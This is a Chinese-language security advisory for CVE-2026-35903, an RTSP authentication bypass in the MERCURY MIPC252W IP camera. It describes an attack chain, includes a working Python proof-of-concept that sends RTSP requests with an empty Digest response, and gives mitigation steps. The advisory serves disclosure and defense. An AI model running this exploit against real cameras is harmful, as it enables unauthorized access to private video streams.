IPBUF安全漏洞报告
English
CVE-2026-35903 CVSS 9.8 严重

CVE-2026-35903 MERCURY摄像头RTSP认证绕过漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-35903
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MERCURY MIPC252W IP camera

相关标签

认证绕过RTSPIoTMERCURY摄像头远程控制

漏洞概述

MERCURY MIPC252W IP摄像头在RTSP服务中存在不当认证漏洞。设备在初始DESCRIBE请求通过Digest认证后,不对同一会话内后续请求的响应参数进行验证,攻击者可重用会话参数绕过认证执行未经授权的RTSP控制命令。

技术细节

该漏洞源于MERCURY MIPC252W摄像头RTSP服务的认证逻辑缺陷。在正常的RTSP Digest认证流程中,每个请求都应验证response参数。然而,该设备在首次DESCRIBE请求建立会话后,对于后续的SETUP、PLAY及TEARDOWN等请求,仅校验Authorization头中的nonce和session标识符是否匹配已建立的会话,而不再验证response字段的有效性。这使得攻击者能够通过嗅探网络流量或复用初始认证参数,在无需提供用户名密码或计算哈希的情况下,发送空或无效的response值,从而成功执行流媒体控制操作,完全绕过了身份验证机制。

攻击链分析

STEP 1
侦察与参数获取
攻击者扫描网络发现MERCURY MIPC252W摄像头,并捕获初始RTSP DESCRIBE请求的流量,或使用弱口令进行一次合法登录,以获取有效的Digest nonce和session ID。
STEP 2
构造恶意请求
攻击者利用获取的nonce和session ID,构造后续的RTSP控制请求(如SETUP或PLAY)。在Authorization头中,保留合法的nonce和session,但将response参数设置为空或随机值。
STEP 3
绕过认证
设备接收到请求后,仅校验nonce和session的有效性,而未校验response参数,误认为请求来自已认证用户。
STEP 4
未授权控制
攻击者成功执行RTSP命令,获取视频流或控制摄像头行为,完全绕过身份验证机制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # Target Configuration TARGET_IP = "192.168.1.10" TARGET_PORT = 554 # This PoC demonstrates the authentication bypass. # Step 1: Attacker establishes a session or captures valid nonce/session ID. # Step 2: Attacker sends RTSP commands with valid nonce/session but INVALID response. def exploit_rtsp_bypass(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((TARGET_IP, TARGET_PORT)) # Initial DESCRIBE request to get the Nonce (Assuming we can sniff or have credentials for this step) # In a real attack, this phase requires one valid auth or network sniffing. req1 = "DESCRIBE rtsp://" + TARGET_IP + ":554/ RTSP/1.0\r\nCSeq: 1\r\nUser-Agent: Python/RTSP\r\n\r\n" sock.send(req1.encode()) resp1 = sock.recv(4096).decode() print("[+] Initial Response:", resp1.split('\r\n')[0]) # Assume we extracted Nonce: "abc123" and Realm: "MERCURY" from resp1 # And we performed a valid auth to get Session: "12345678" # Now we attempt to send a SETUP command with an EMPTY response parameter. # Malicious Authorization Header: Response is empty, but Nonce/Session are valid # This exploits the vulnerability: device checks Nonce/Session but ignores Response. malicious_auth = 'Digest username="admin", realm="MERCURY", nonce="abc123", uri="rtsp://192.168.1.10:554/", response=""' # Sending SETUP request to exploit the bypass exploit_req = ( "SETUP rtsp://" + TARGET_IP + ":554/trackID=1 RTSP/1.0\r\n" "CSeq: 2\r\n" "Session: 12345678\r\n" "Authorization: " + malicious_auth + "\r\n" "Transport: RTP/AVP;unicast;client_port=5000-5001\r\n" "\r\n" ) print("[*] Sending Exploit Request with empty Digest response...") sock.send(exploit_req.encode()) resp2 = sock.recv(4096).decode() print("[+] Exploit Response:", resp2.split('\r\n')[0]) if "200 OK" in resp2: print("[!] VULNERABILITY CONFIRMED: Authentication bypassed!") else: print("[-] Attack failed or patched.") sock.close() if __name__ == "__main__": exploit_rtsp_bypass()

影响范围

MERCURY MIPC252W 1.0.5 Build 230306 Rel.79931n

防御指南

临时缓解措施
建议暂时禁用RTSP服务或通过ACL限制仅受信任的IP地址可访问摄像头RTSP端口。在官方发布修复补丁前,应密切监控设备日志,检查是否有异常的RTSP连接记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表